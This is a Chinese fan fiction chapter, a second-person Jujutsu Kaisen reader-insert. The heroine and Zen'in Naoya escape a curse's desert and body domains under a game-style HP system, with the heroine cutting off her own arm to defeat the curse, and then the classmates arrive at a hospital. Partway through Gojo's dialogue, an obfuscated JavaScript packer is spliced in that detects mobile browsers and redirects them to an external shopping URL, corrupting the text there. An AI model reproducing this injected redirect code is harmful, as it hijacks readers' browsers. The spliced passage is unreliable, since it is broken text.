你的左手搭在石像上,右手牢牢握紧禅院直哉的手臂。 “你要做什么?” 身后传来女人的声音,是那女人的,她从回廊的阴影里走出来,脸上的表情看不太清,但声音里的惊恐很清楚。 你没有回答她。 纸狐狸们停住了脚步,它们不再靠近,也不再发出任何声响,只是蹲在原地沉默的注视着你。 “别碰那个石像,对你没好处!不不不——”她的声音卡在喉咙里。 石像的裂纹从肩膀开始蔓延,像树枝分叉,细密的纹路爬满了整块石头,碎片从裂纹的缝隙里掉下来落在地上,碎成更小的颗粒。石像的内部是空的,里面什么都没有。 地面开始震动—— 女人踩着木屐飞速跑到了回廊尽头,缩在木柱后,双腿止不住地发抖,她的嘴唇张了张:“我想救你的……可是你一点都不听话……” 禅院直哉看着碎掉的石像,嘴唇抽动了几下,挤出一句:“你疯了?” 女人再次发出了声音,又尖又细的哭喊。 “你把它放出来了!!” 她的话没有说完。 回廊的尽头,黑暗里有什么东西睁开了眼睛。 你的身体被一股无法抗拒的力量抓住,视野变成了一片空白。 等白光退去,脚下踩到的不再是木地板,而是细软的沙子,风从远处吹过来,带着干燥的热气,卷起沙粒打在脸上有点疼。 你跪在沙地上,双手撑着地面,温度烫得像要脱层皮一般,禅院直哉倒在你身旁,脸埋进沙里。 他的衣服上全是沙砾,白色礼服变成了土黄色,头发也乱了,几缕碎发粘在脸颊上。 【生命值-5,当前生命值:55】 - 好消息,你们换了张新地图。 坏消息,这片沙漠漫无边际,没有夜晚与黑暗,你只能通过系统扣生命点的提示来确认世间的流逝。 你拖着他走了很久,可他已经走不动了,大半重量都压在你身上,又热又黏。 禅院直哉嘴唇干得发疼,平日里的傲气早被磨得一干二净,浑身乏力就算了,竟然还有依靠一个女人搀扶着前行,他难得褪去锋芒,带着几分茫然无助主动凑近搭话。 “说真的,长这么大我还是头一回被困在这种地方,连口水都喝不到,等我出去了,非把这破地方拆了不可。” “喂……还要走有多远……你倒是说话啊……” “你到底知不知道怎么出去!!” 也不等你回答,他又把脸埋回手臂里,闷闷地补了句:“我的背好痛。” 你眨眨眼,不知道该先回答他哪一个问题,他的思维总是跳脱的很快,上一秒还在问你‘到底怎么能离开这鬼地方’下一秒就变成‘你知道禅院家吗,我可是下一任家主’这种炫耀。 偶尔他会说一些跟处境无关的话。 “我讨厌苦菊。” 你拨开他挡住前额的碎发,问他:“那是什么?” “一种味道很难吃的野菜,最好不要尝试。” “我的寝屋外有一条走廊很长,两边都是门,我每次走过那条走廊,能在庭院里看到很多苦菊,‘她’说这种植物喜欢阴凉的地方,所以总是长在我的寝屋外。初夏的时候开花,不怎么起眼,味道也很恶心,吃过一次就不想再吃了,就是随处可见的野菜,没什么价值……” 他停了一下,手指无意识攥紧你的袖摆。 “我那几个废物兄弟倒是很喜欢,哼,能力不出众,长相也普通,不知道出生是为了什么。” “不要说亲人的坏话。”你出声制止。 他愣了一下,看了你几秒,然后把视线移开,露出一抹嘲讽地笑。 禅院直哉不觉得那些废物够资格和他做兄弟,可现在明显不是吵这个的好时机。 “行吧。”他语气蔫蔫的低声应下。 “甜味也讨厌。”他扯过白无垢的帽子挡住日光,只露出下颌,“婚礼那天喝的那个酒,就超级难喝。” 禅院直哉皱了一下眉,像是在回忆那个味道,然后闭上了眼睛,枕着你的膝盖昏昏沉沉的睡了过去。 你躺在沙堆里,不管不顾地直视太阳,光刺得眼睛发酸,视野里漫开一片紫色的光斑,你眨了一下眼,光斑没消失,模拟的还挺逼真……不过,换作现实中你绝不会干这种损伤视力的蠢事。 禅院直哉躺在你旁边,脸埋在手臂里,肩膀的起伏很慢,呼吸也很浅。他的体温很低,但一直在出汗,白无垢也脏的看不出原来的颜色。 有一次你扶他起来,他靠在你肩膀上喘气,喘了很久才缓过来。他的下巴搁在你的肩窝里,嘴唇贴着你领口的布料,说话的时候气息透过布料扑在你的皮肤上,湿热的气息。 “你身上有味道啊……”他说。 “嗯,汗臭味。” “不对,是苦菊的香味。”他说完就昏过去了,你以为是梦话,等他醒来之后也没有提起,你就没有多问。 因为要带着他,你的进展很慢。 “你走吧。”有一次你站起来要往远处走,他忽然开口,“反正我也走不动了,你别被我拖累,烦死了。” 你站在原地没动,因为你真的在思考丢下他的可能性。 他受了伤走不动,伤口也已经恶化流脓。 别说和诅咒战斗,能不能活下去都是个问题。 要不要丢下他?……被老师知道会挨骂吧。 在职责范围内尽量救助他人,这是老师对你的要求。 唉……你闭了闭眼。 可不到三十秒,他就后悔了。 “……别真扔下我啊。”这次声音小了很多,也成功打断了犹豫不决的你。 算了。你收回视线。 木屐的绳带断了,你就用布条粗糙地绑住将就穿着。沙漠里行走比山路更费体力,每一步都像踩在棉花上,软绵绵的使不上劲。你费力的站起来,因为蹲太久膝盖有点僵。 下一秒,一只手突然扣住你的脚踝。 力道很虚,只要轻轻一踢就能挣开。 禅院直哉的眼皮半耷拉着,瞳孔里没有焦距,他的嘴唇动了几下,声音很小: “别扔下我。” 你顿了几秒。 “生得领域是有范围的,我想做个实验,你来做锚点,我们不能一直在原地打转。” 他的手指松了松,却没完全放开。 沙漠里的景色太相似了,你总感觉自己是在绕圈。 你固执地朝一个方向一直走,风在你背后吹着,你感觉自己的皮肤变得粗糙,像皲裂的土地,缝隙里藏满了黄沙,嘴唇也裂开了。脚底的木屐已经磨得很薄,沙子的热度透过木板传到脚掌,烫的厉害。 你走了很远,远到回头看时禅院直哉已经缩成一个小小的白点,你站在那里,不知道过去了多久才再度启程。 【生命值-5,当前生命值:50】 你看到远处出现了一个白色的人影,你加快速度朝那个方向跑去。 是禅院直哉。 他的嘴唇上全是裂口,加上严重脱水有些神智不清,你直起身环顾四周。 刚才走出的那道脚印已经完全消失。 你笑了。 “果然,这领域是有尽头的。” 不走了。 禅院直哉没有回应。 你伸出手指贴在他的脖颈,脉搏很微弱。 他好像有点死了。 …… 禅院直哉做了个梦。 梦里是许久不见的那个女人的身影。 她要比父亲年轻许多,可是为了诞下他吃了不少苦头,留给直哉的永远是一个颓废病气的印象。比起自己,她和兄长们相处的时间更多。这也是理所当然的吧,毕竟那几个废物先出生,仗着年长多享受了几年母爱,真是占尽便宜。 苦菊真的很难吃,兄长们却都不敢明说,‘那种野菜包成的饭团难吃得要死!’大概因为他说得比较直白又大声,那女人就再也没有亲手做过什么吃的了。 可不知道为什么,他现在格外怀念那个甜中带苦的味道。 忽然,温热的水钻入他的喉咙,一点点润开干涸的唇舌。 他睁开眼,看到你举着手腕,血珠像断了线的珠子,一滴滴滚入他的嘴角。 你神色淡然,眼神清明。 他忽然想起那个女人曾经哭着说过的话: “直哉……对于母亲而言,孩子永远是宝贵的……所以,我爱你。” 他的嘴唇本能地吸吮着,喉结滚动吞咽,像饿急了的野兽,毫无形象可言。 他没有力气抬手,也没有力气说话,只是闭着眼睛,像婴儿含住乳-头那样,一下一下地吸着。也就在理智回归顷刻间,泪也滚了出来。 “没事的,我会救你。”你学着哥哥之间安抚你的模样,生涩的安抚他。 “喝吧,我不会丢下你。” 禅院直哉在各种人身上见过形形色色的欲望与贪念,可从你身上一点也感觉不到。也许是人懦弱的天性,在那一刻,他确实把你视为神明。 他盯着你的侧脸看了很久,忽然觉得如果这个世界上真的有神,就应该幻化成你的样子,多纯净啊。 他闭上眼,嘴唇上还残留着你血的味道,不知道是错觉还是幻念,竟然有些苦菊的味道。 - “我们来整合信息,第一天进入领域时你看到了什么?”你对缓过来的禅院直哉说。 “现代楼房,门上有楼层按钮的那种电梯,和我平时坐的没什么区别,一个装作你模样的诅咒带我进去的,我没信她,把她解决了——”接着电梯到达顶层,他进到那该死的门里。 禅院直哉的体术不差,但在咒力被封印的情况下面对无穷无尽的诅咒,硬是被打得半死不活,还被换上了那身女式婚服。 而你是在荒郊野外醒来,被所谓的‘狐之助’骗到了古宅,然后你杀了‘狐之助’,被迫顶替新郎的位置。 “电梯里还挂着四个广告栏。”他忽然又开口了,“第一面是古宅拍卖,第二面是撒哈拉沙漠,第三面是医院的宣传——等等!”他猛地坐起身,动作牵动了伤口,额头冒着冷汗躺回去。 “古宅……沙漠!”他转过头看着你,眼睛比之前亮了很多,“你明白了吗?” “古宅就是第一天婚礼的地方,沙漠是我们现在的区域”他艰难地吞咽了下,“我们得找到第三个区域,那里才是真正的出口。” “所以,我们现在是在一副画里。” 你语气确凿道,接着仰头看向那始终高悬的太阳,你隐隐察觉到了什么。 畸变发生在一瞬间,太阳咧开一道口子,弯成弧线,像一张巨大的人嘴。 它无声地看着你们笑。 整个世界在那一刻静止了,除了天上那张笑着的嘴。 你与祂对视。 这个藏头露尾,专爱玩弄灵魂的卑劣诅咒,把无数无辜之人骗进领域,慢慢消磨掉他们的意志。死了还不罢休,连尸体都要拉来演那出拙劣的游戏。 “好玩吗?”——你对着祂开口。 你知道祂在听。 你的手臂忽然被攥紧,紧到骨头发麻。 禅院直哉侧头看着你,表情里有迷惑。 他不明白你突如其来的怒意,也不明白你为什么要对着太阳讲话。 下一秒,脚下的沙子开始褪色,如同上个世纪的油画失去工作人员的维护,变得暗淡无光,你的身体在往下沉,落入另一个空间。 等你的眼睛重新对焦的时候,你已经站在电梯里了。 禅院直哉站在你旁边,状态依然差劲。 电梯开始下降,白炽光从上面打下来,像一道通往天堂纯净的光,禅院直哉有种重获新生的错觉,可错觉始终是错觉,他尝试着调动咒力,什么都没有发生,你们仍处在诅咒的领域。 你环顾电梯内部的布置。 确实如禅院直哉所言,四面都印着广告。 在你的视角里,其中两面广告呈现灰色,系统打上了【已通关】的标签,第三面则是医院的消化科广告,你的视线落在第四面广告栏上。 你指着第四面广告栏对他说:“这才是真正的出口,你走吧。” “你不跟我走吗?” 禅院直哉的眼瞳偏小,眼尾又上挑,所以故作顽劣的时候十成十的惹人厌恶,可他用那种类似小狗一般的眼神看着你时,连他自己都没意识到那里面藏着恳求,自然也不知道这副模样有多蛊人。 “这是我的任务,我要去完成。”你顿了下说,“况且,我现在很愤怒。” 你的咒具蛇灵附着在眼睛上,它的另一个功能可以帮你区分诅咒的等级。人,诅咒,灵魂,是三种不同的颜色,你在古宅看到的那些狐狸女仆,是已经被这个诅咒吃掉后不得往生,异化成领域附属的可怜灵魂,但那个和服女人不一样,她还有的救,只要把那个东西杀了,她就能活。 “三分钟,”你对禅院直哉说,“给我三分钟就够了。” 因为你很生气,你会以最快的速度结果这玩意。 你进入了第三面广告,禅院直哉紧随其后,衣摆沾上了地面的黏液,嫌恶地啧了声。 你有些惊讶:“你怎么也进来了?” 他眉眼间还带着几分别扭和不耐,别开视线说:“谁要眼睁睁看着你闯进来送死啊?好歹我也是你的前辈,总不能留你独自应付,何况,被那鬼东西捉弄了这么久,我也很生气啊。”他的声音里带着点咬牙切齿的味道。 可受伤的他就是个拖累,不过高情商的你当然不会说出来。 你脚下是柔软如活物的触感,是一个类似人体的地方,周围律动着血管和各种组织,在你进入的那刻起,周围的诅咒躁动不安的涌了过来。 蛇灵分割出一部分化作匕首,用起来很趁手,你捅入诅咒的身体,用蛮力将它钉在肠壁上。 【生命值-5,当前生命值:50】 禅院直哉的拳头打在试图偷袭你的诅咒身上,力道之猛,连空气都发出一声闷响,他的体术也相当不错,就是行动有点迟缓,禅院直哉脸色苍白,汗水浸透了衣领。 他喘了口气,侧身挡在你面前。 “这些杂碎我来解决,你保存好体力。”他说。 又一只诅咒从侧翼扑来,他脚步微转,拳头已经迎了上去,你确定他还能撑一阵子后放心的把后背交给了他。 很快,你解决完了一通道的诅咒,你浑身浴血,额头破了个口子,血顺着右眼流下,染红了蛇灵寄居的瞳孔,如同鬼神般来到核心处,按照人体来模拟,那是心脏内瓣膜的位置,浓郁的诅咒气息自里散发,让你本能感到不适。 你捅开那薄如蝉翼的门,里面没有心脏,而是一只蜷缩的,没有皮毛的狐狸。 看见你时,它睁着眼,恳切与哀求的目光望向你。 你笑了,果然啊,这个低级玩意很怕死,才会把领域搞得这么复杂。 你高举左手正要刺下,祂反应极快的躲开。 “我是从一个偏远村落诞生的,有个村民能看见我,奉我为狐仙,通过这个他捞了不少好处。”和低等诅咒不同,祂从出生就拥有人的智慧。 “他给我建了间神社,定时上供,村里人路过也会拜我,我一开始不知道他们在做什么,但后来我懂了。”祂歪了歪头,像是在回忆很久远的事情,“他们求财求运,求家里人生病快点好,求这求那的……我也办不到啊,但他们觉得我办得到,于是那个能看见我的村民就替他们转达愿望,再替我收回谢礼。” “你收了多少?”你说。 “和诅咒废什么话。”禅院直哉痛得要死,只想赶紧离开这。 祂的语气没什么波动:“几个小孩而已,诅咒本来就是从人类的负面情绪中诞生,钱财对我没用……吃完村里的人后,我附身的石像被运送到京都,商人稍微包装了下,就成了所谓的保姻缘的狐仙,蛮有意思的。” “什么很有意思?” “人类把我供起来,求我保佑他们,而我吃他们,这难道不是最般配的交易?”祂嘴角浮现一抹似笑非笑的弧度,“在我的肚子里可安全了。” 说到这里,祂的喉咙响起怪异的摩擦声,应该是祂在大笑,那声音愈发高涨:“对了,京都的诅咒可比村子里多百倍,而且我发现,人比同类好吃的多,所以,我变得更聪明。” “人类也有一句话叫做……以形补形啊。” 那近乎纯粹的恶意扑面而来。 沉默只持续了一瞬。 “虽然老师讲过诅咒对人有天然的恨意,不过因为头一次碰到能和人交谈的诅咒,我才愿意听你鬼扯了这么多,已经足够了。” 你动手了。 “我已经不耐烦了。” 融合蛇灵后你的身体被大幅度提升,虽然无法使用咒 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【生命值-10,当前生命值:40】 祂的速度在你们之上,毋庸置疑。 “禅院幽花!”禅院直哉瞳孔骤然缩紧。 “……?”你怔了下,趁此机会祂把你狠狠甩开,你撞在柔软的肠壁上,狼狈地躲开数道攻击。 你有些懵地看向自家队友。 禅院直哉意识到不对,脸上飘起一抹绯红:“我认可你的强大,出去后,我会找老头子说明情况,向你求婚!” “……” 你扫了一眼七零八乱的战场,语气依旧很平静,可多了些震撼:“别乱讲话,前辈。” 【生命值-5,当前生命值:35】 等等,明明已经很小心避开祂的攻击了,怎么你的血条一直在掉?你有些摸不着头脑。 你堵掉了祂的出路,诅咒退无可退,生死一搏正在此刻,可答案很明显,祂根本打不过你。 这个诅咒很狡猾,快如闪电地躲开了你的攻击,而你的动态视力也得到了加强,紧紧追着祂不放。 突然,禅院直哉的心脏剧烈收缩了一下。 因为很久没有这种濒临生死的感觉,他一时间没反应过来。 祂蹲在高位舔着爪子,目露戏谑的笑容。 “才意识到吗,你们果然没有我聪明啊。” 他惊讶的发现自己的视线忽然变得模糊,眼眶充血,整个肺部像是炸开了一般痛的厉害,血从口鼻眼眶喷涌出来,他慌忙捂住,一个荒谬的想法钻入他的大脑—— “我中毒了?!” 禅院直哉下意识想用咒力缓解症状,可在这诅咒的领域中根本调动不了一点咒力!没了咒力,他不过是个体术尚佳的普通人罢了! 不运动还好,可这一番激烈的战斗下来,他已经吸入了大量的毒气。再不快点杀了那家伙就真的会死在这里! 他才不要变成那诅咒的傀儡! 禅院直哉费力的集中视线捕捉你的身影,你像一头敏捷的猎豹,死死紧跟着祂的落脚点猛攻。毒素居然对你毫无影响吗?他大为震惊。 “你的同伴快死掉了,这也不要紧?”祂打趣道。 你这才注意到禅院直哉的不对劲。 他额头青筋暴起,整个人跪在原地神经质地颤抖,血几乎覆了满面,像恶鬼似得可怖。 “我不需要呼吸的,可你们人类需要啊,尤其是你这种体质卓越的人类,肺部一定能很发达吧?相对的,对毒的抵抗几乎为零呢。” “如果说普通人只能吸收一点点毒,那么你应该吸到了普通人的三到七倍吧。” “能撑到现在还没什么反应,我都怀疑你是不是正常人了?” 祂话音刚落,温热的液体从你鼻腔涌出。 【生命值-5,当前生命值:30】 那阵令人头痛的笑声再度响起—— “看吧看吧,我果然是最聪明的。” “你也不过是个人类呢。” 祂看着这个只会蛮横进攻的女人,明明中了祂的毒气居然还这么嚣张! 只需要再拖一阵子,你就会和之前那些不自量力的咒术师一样,被拖死在祂的领域中,可祂看着你从始至终冷静的面容,心竟隐隐有一丝动摇。 难不成……还有后手? 你没有犹豫的时间了。 那亘古不变的冷静化作癫狂,你将蛇灵凝聚成一把古武士长刀,对准自己的右臂—— “「术式?我身奉给」” 你忽然意识到关键,副本等级指的是副本难度,可不代表是诅咒的等级,很显然,这只狡猾的诅咒拥有睥睨人类的智慧,祂早已达到了特级的标准。 你咬紧牙关。 现在唯一的破局方式只有这个。 【生命值-25,当前生命值:5】 “告诉你这个情报也无所谓,因为你马上就要死了。”你的声音平静不像是刚砍断自己手臂的疯子。 “我的术式可以将诅咒转换为咒具,代价是以部分身躯作为交换。“ 你拾起右臂,施舍一般随意地扔到祂脚边。 “用法分为两种,一种是和平地跟诅咒进行交换,类似共生效果,诅咒作为咒具后保留一定自主性,同时我献掉的部分也不会消失,正如我的眼睛这般,平时以人眼使用着。” “第二种则是强行献祭,强行转换!当然献祭的部分会消失。” 诅咒被你下大了禁锢,不论怎样都无法逃脱。 你确实有嚣张的资本,祂感到恐惧,和每一个在祂领域里被玩弄致死的人类情绪完全相同。 祂意识到自己不再是猎人,而是猎物。 “你也快到极限了吧!只要我撑在你断气前不被强行转换!那赢的人就是我!你杀不了我!” 祂的声音第一次失去了那种游刃有余的从容,尖锐得像被踩住尾巴的野兽。 “我恨你!” 一连串的恨语从祂喉咙里涌出来,尖锐而急促。 真是毫无意义的诅咒。 不错的是,祂的眼睛里终于出现了你一直没看到的东西。 赤裸的,无处可藏的恐惧。 你站在那片血肉模糊的战场中央,右臂的断面还在滴血,脸上也被血糊成了另一张假面,你毫无动摇,祂影响不到你。 因为祂死局已定。 —— —— 【 恭喜玩家通关成功:新宿狐狸花嫁新娘 通关奖励:「狐的恩赐」一级可成长咒具已附着至玩家体内 天赋:攻击时伤害会以一定比例转化,治愈玩家。 效果:受到致命伤害时,可将该次伤害转移至范围内任意一个诅咒单位身上 】 …… 新宿某个小巷内。 禅院直哉猝然睁眼。 心脏停止跳动的前一秒,他得救了。 果然,虎杖幽花的强大足以媲美那个男人。 他熟稔地运作起咒力延缓伤口,费劲地从地上爬起。 那女孩躺在不远处,跟尸山血海捞里刚出来似的,出气多进气少的样子,全凭一口气吊着,她的右臂不见了,取而代之的是沾满血污的……狐臂? 像废弃的毛毡,背毛狼狈拧成一片,爪尖而锐,仿佛下一秒就会暴起撕裂敌人的喉咙。 禅院直哉将她翻面,拖到自己膝上。 回想起你那不要命的战斗风格,禅院直哉情不自禁地哼笑。 “还真个疯子啊。” - “喂——” “醒醒啊,幽花?” 直接喊名字肯定没问题吧,之前也这么叫过,也没被拒绝。禅院直哉厚着脸皮这么想。 你咳出一口血,缓了片刻,视线聚焦到雾蒙蒙的天空,然后禅院直哉的脸突然探过来,挡住了那点微弱的光。 “时间过去多久了?” 他另一只手正发着定位,随口答:“三天四夜吧……够久的。我联系了家仆,十五分钟后就到,这附近有我家开的医院,你撑住啊。” 完了,居然搞这么久。 你颇为头疼地想。 “啊?说的什么啊听不见。”他俯身凑近。 “手机在我左边的衣兜里,没有密码。拜托帮我给哥哥打个电话,告诉他一切安好,我马上就回家。”你说。 禅院直哉关掉屏幕,神色有些微妙:“这种时候,你想说的只有这个?” 你闭眼,累得不想说话。 在诅咒的领域里你断了一条胳膊,他浑身疼得像被碾过一遍,这种时候居然不对患难与共的他说点温馨场面话,第一时间居然想的是别的男人。 他见你不吭声,又凑近了些:“就没有什么想对我说的?” 沉默了几秒,你听见他极轻地啧了一声,他直起身,从你口袋里摸出手机。 开机的那刻,你的手机被各种未接电话和上百条短信轰炸卡机了。 禅院直哉愣了几秒,眼睛扫过一条条消息。 9.第 9 章 好友列表里还有三四个未通过的好友申请,尤其是东堂葵,坚持每小时申请一条,风雨无阻。你有点怀疑自己是不是成了他训练后的余兴节目。其余几条来自京都姐妹校的熟人,基本都是那场交流会打过照面的。 你给每个人的备注都是本名,即便是五条悟也没有例外。 禅院直哉的目光扫过列表,不禁哼笑:“看来悟也不怎么被你尊重啊。” 只有一个人,伏黑惠,你和他聊天的频率高得离谱,还被设置了特别关注。 禅院直哉的眉头几不可见地皱了一下,在他看来伏黑惠不过是一个尚待回收的家族资产,从来不是一个独立且值得他平等对待的咒术师。 禅院直哉的手指悬在屏幕上方,犹豫了不到半秒,还是点开了,他告诉自己这不是偷看,是确认。万一这小子有什么重要信息呢?你现在半昏半醒的状态错过了怎么办,……还有你哥哥的,西宫桃的消息,钉崎野蔷薇,那只熊猫,狗卷棘……总之,他有确认的理由。 消息一条条滑下去,他的脸色一点点变得微妙。 大多数是伏黑惠主动找你聊天。 小到路边碰到的野狗,食堂的饭菜,任务时遇到的小孩……从消息的时间点可以确定,你们几乎每天都黏糊在一起,包括训练时间,连一瓶碳酸饮料都要托人帮带,亲昵得很。 可从你简短到堪比人机的回复里,他又窥探不到丝毫暧昧色彩。 不过可以确信的是——伏黑惠喜欢你。 他的情绪几乎溢出屏幕了。 禅院直哉嘴唇抿成一条直线,阴晴不定地垂眼看你。 漂亮优秀的孩子总是招人喜欢,就像蜂蜜围着花蕊。不过,有些臭虫也会被招惹来。 他口中的臭虫指的是谁不言而喻。 那个从禅院家流落出去的小杂种,本该对他毕恭毕敬跪舔在他脚边,混的倒还挺有人样啊,居然敢肖想他禅院直哉看上的人。 屏幕暗了下去,映出他自己那张阴沉的脸。 禅院直哉唇勾起。 伏黑惠大概还不知道吧,不知道喜欢的人在领域里断了一条胳膊,躺在新宿的某个漏雨小巷,连拿手机的力气都没有,甚至不到知道你这三天四夜去了哪里做了什么。 可他禅院直哉就在这里,全部都知道哦。 悠仁的电话突然打来,手机默认铃声在狭窄的小巷里回响。 你睁开眼。 他看了你一眼,捋开挡住你视线的碎发。 “虎杖悠仁,讲话。” 电话那头的悠仁急迫的口吻几乎溢出来,可当听到是个陌生男人接通了妹妹的手机时,那声音瞬间冷了下去。 “你是谁?为什么拿着幽花的手机,你干了什么?” 好明显的敌意。 不是哥哥对陌生人的警惕,而是对任何靠近妹妹的异性的本能排斥。 “不觉得自己管得太宽了吗?”禅院直哉嘴角咧着那讨打的上扬弧度,语气里全是挑衅,“就算是兄妹又怎样?你妹妹也是成年人了啊,难道还要时时刻刻绑在身边?” 电话那头沉默了一瞬。 再响起时,悠仁的声音字字带着压不住的怒意:“最好别让我找到你,我打死你。” “把手机给我。”你拽了拽他的袖口,“别激怒我哥。” 禅院直哉低头看你一眼,那点嚣张的气焰在触及你目光的瞬间,不情不愿地矮了几分。 悠仁的声音从听筒那边传来,那熟悉的平静调子让你不寒而栗。才刚过去不久,你可不想再和悠仁谈谈人生。 “你们在哪?” “新宿,不过很快就不在这个位置了,待会到新地方了给你发位置好吗?” 你挂掉电话没多久,巷口传来急促而克制的脚步声,禅院直哉的家仆到了,两个穿深色西装的男人快步走近,微微躬身,目光在扫过你手臂的瞬间凝滞了一瞬,又迅速移开,训练有素地收敛了所有多余的表情。 “直哉大人,车已在巷口等候。”其中一人递上外套和应急毯,“医院方面已联络完毕,院长亲自候诊。” 禅院直哉接过外套,随手披在你肩上。 “地址记得发给我哥。” 兰太愣了一下,看向直哉。 直哉没看他,目光落在你身上,他想说点什么,最后只是抬了抬下巴,示意兰太照做。 车上,禅院直哉问你:“还撑得住吗?” 你没有回答。 你没想到出副本后生命值居然不恢复,还是吊着岌岌可危的5点。你现在疲惫得很,眼皮沉得要死,意识像一根随时会崩断的琴弦,救护车颠簸的厉害,外套也是陌生的气息,你闭上眼,想着至少要撑到医院,不然哥哥看到你这样子,怕是真会打死禅院直哉。 医院的通道畅通无阻。 禅院家的名头比任何政要机层的名头都好使,电梯专人候着,楼层提前清场,你被放在移动床上推进手术台,护士姐姐握紧你的左手不停地安抚,一边给你处理伤口,真是国宝待遇。 一番检查下来,医护人员的表情变得很凝重。 主治医生拿着片子看了很久,禁不住感慨:“虽然清楚咒术师的体魄并非常人可比,可这位小姐还真是医学奇迹啊。伤成这样意识始终保持清醒,思维也清晰……好想研究一下……”他目光在病床上惋惜了片刻,转身和护士低声交换了几句你听不清的话。 然后是更多的设备被推过来,数不清的管子和线缆像蛛网一样往你身上招呼,氧气罩扣上来的瞬间,你意识彻底消散了。 原来是麻醉气体啊…… 两个小时后。 禅院直哉伤的并没有你严重,加上咒力恢复,经过特别治疗后很快就能自主行走了,只是伤口在脊背,动作还有些迟缓。 他站在走廊里,透过半开的门看着这一幕。 主治医生走出来,迎上去。 “怎么样?” 医生推了推眼镜,斟酌了一下措辞:“患者的情况比我们预想的更严重,不只是外伤的问题,她的身体里似乎有些什么东西在持续维持她的生命体征,即便如此也到达极限了。不过应该没问题的,她的精神很坚韧。” 也就在这时,一群人跑进医院。 - “幽花在哪儿?!” 虎杖气喘吁吁地怒吼。 “悠仁,这里。”五条老师率先一步挡在电梯口,招呼众人进去。 一行人鱼贯而入,本来电梯挺宽闯的,塞进了五条悟,虎杖悠仁,伏黑惠,钉崎野蔷薇,还有二年级的狗卷棘,真希熊猫等人,瞬间就显得逼仄起来。 “叮叮叮——”电梯发出超重的警报声。 狗卷棘:“鲑鱼。” 真希啧了一声,胳膊肘怼熊猫宽厚的胸膛:“喂熊猫,你去爬楼梯,记得在3楼右拐最里面那间啊,别又走错了。” “哦。”熊猫背对着众人走出电梯。 五条悟按了楼层,电梯门缓缓合上。 钉崎野蔷薇有点过意不去:“会不会太欺负熊猫前辈啦?” 狗卷棘摇头:“木鱼花。” 真希说:“放心吧,他走楼梯比坐电梯快,熊猫看起来胖,实际上灵活的很。” 钉崎野蔷薇愣了一下,下意识追问:“为什么?” 真希嘴角一勾,露出一个看好戏的笑:“因为爬楼梯的时候,那家伙会四只爪子着地。” “……”钉崎野蔷薇一时间不知道该怎么接话。 电梯平稳上升。 五条悟漫不经心地讲:“平常在学校受了伤都是硝子给你们处理的,所以啊,你们都没有来过这里。这家医院是特别向咒术师开放的哦,算是总监部的财产。” “总监部?”钉崎皱眉,“那群有钱人还有心思经营医院?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553653|204332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医疗可是很暴利啊。”五条悟笑了笑。 “说起来,我真不想见到那个混蛋。”提到禅院直哉,真希皱着眉,嫌恶之情溢于言表。 钉崎野蔷薇看了她一眼,有些不解:“关系很差吗?可是按照亲缘,禅院直哉算是真希学姐的堂……兄妹?我还以为你们会更亲近点,像幽花和悠仁这样。” 狗卷棘叹气:“鲑鱼。” “禅院家那套封建规矩腌入味的渣滓,歧视女人,傲慢残忍的纨绔子弟,只会靠脸评判三观,纯粹的垃圾。” “以上所有标签,他轻而易举就办到了。” 真希冷笑,郑重其事对虎杖说:“虽然不清楚你妹妹在他手里变成了什么样子,估计也没什么好下场。待会碰面别多费口舌,直接动手。” 钉崎野蔷薇悄悄瞄了一眼虎杖悠仁。 从刚才到现在,他一句话都没有说。老师已经解释过和幽花在一起的那个男人是什么身份,可虎杖的表情始终没有变化。 这样的虎杖让她感到陌生。 她也清楚这小子看似冲动,脑子不算灵光,情绪全写在脸上的标准热血笨蛋,可相处久了才看透这对兄妹完完全全是相反的性格。 悠仁比任何人都在意自己身边的人,在意每一段重要关系,与冒冒失失的表面相反,其实内心很缜密,粗中有细,悠仁也没觉得哪里不对,比妹妹要多顾虑三五步,已经是经年日久的处事习惯。 而幽花不一样,只要你问她就会回答,不加掩饰,比哥哥要直白的多,哪怕是战斗中也多是凭着直觉行动,懒得多余思考。 那时候钉崎觉得,有兄弟姐妹大概就是这样。性格也好,体能也好,各方面都互补。互相依靠,互相扶持。 不管是谁看到都会觉得羡慕。 可现在,看着虎杖悠仁那张什么表情都没有的脸,钉崎忽然意识到一件事——其实幽花也挺头痛吧。 因为世间只剩兄妹二人为亲,哥哥所有感情都会随着时间流逝,一点一点加注到另一方身上,分隔两地还好说,要是日日夜夜都这么相处着…… 好沉重啊。 钉崎光是想象一下,都觉得喘不过气。 幽花到底是怎么适应过来的? 虽然说一个人的战斗风格浓缩了这个人的性格特质,可这也太能适应了吧!不觉得有负担吗? 说真的,她忽然体会到独生子的好处了,就算死了也不会有人长久因她而悲伤,蛮好的。 五条悟靠在电梯按钮旁,听着学生们你一言我一语,嘴角的笑意越来越深,颇有看热闹不嫌事大的嫌疑。 “没错哦,惠身上也流着禅院家的血呢。” 伏黑惠语气平平:“老师,不要把焦点集中到我身上。” 钉崎野蔷薇翻了个白眼。 大家族就是错综复杂,搞了半天整个咒术界都沾亲带故。不过日本这片弹丸之地,这种事情倒也不奇怪。 狗卷棘拉高衣领遮住半张脸,伸手拍了拍悠仁的肩膀。悠仁垂着眼睛,安静得几乎要和电梯壁融为一体。 “叮”的一声,电梯停了。 门打开的瞬间,走廊里的消毒水味涌进来。 五条悟第一个走出去。 “走吧,孩子们。” 身后的学生们陆续跟上。 三楼住院部,右拐的尽头。 熊猫规规矩矩地蹲在门口,一旁站着两个西装笔挺的中年男人和一位身穿日式和服的男性,他没有穿里衣,层层叠叠的绷带裹着胸肌,渗着点血的色彩,整个人看起来既讲究又狼狈。 禅院家的仆人齐刷刷看过来,表情恭敬,姿态低垂的问了声:“日安,五条大人。” 熊猫脸上原本挂着明显的笑意,忽然变得惊恐。 两只毛茸茸的爪子慌乱地在身前挥舞。 “喂喂喂悠仁,真希!你们要干啥?!这里是医院不要掏武器啊——”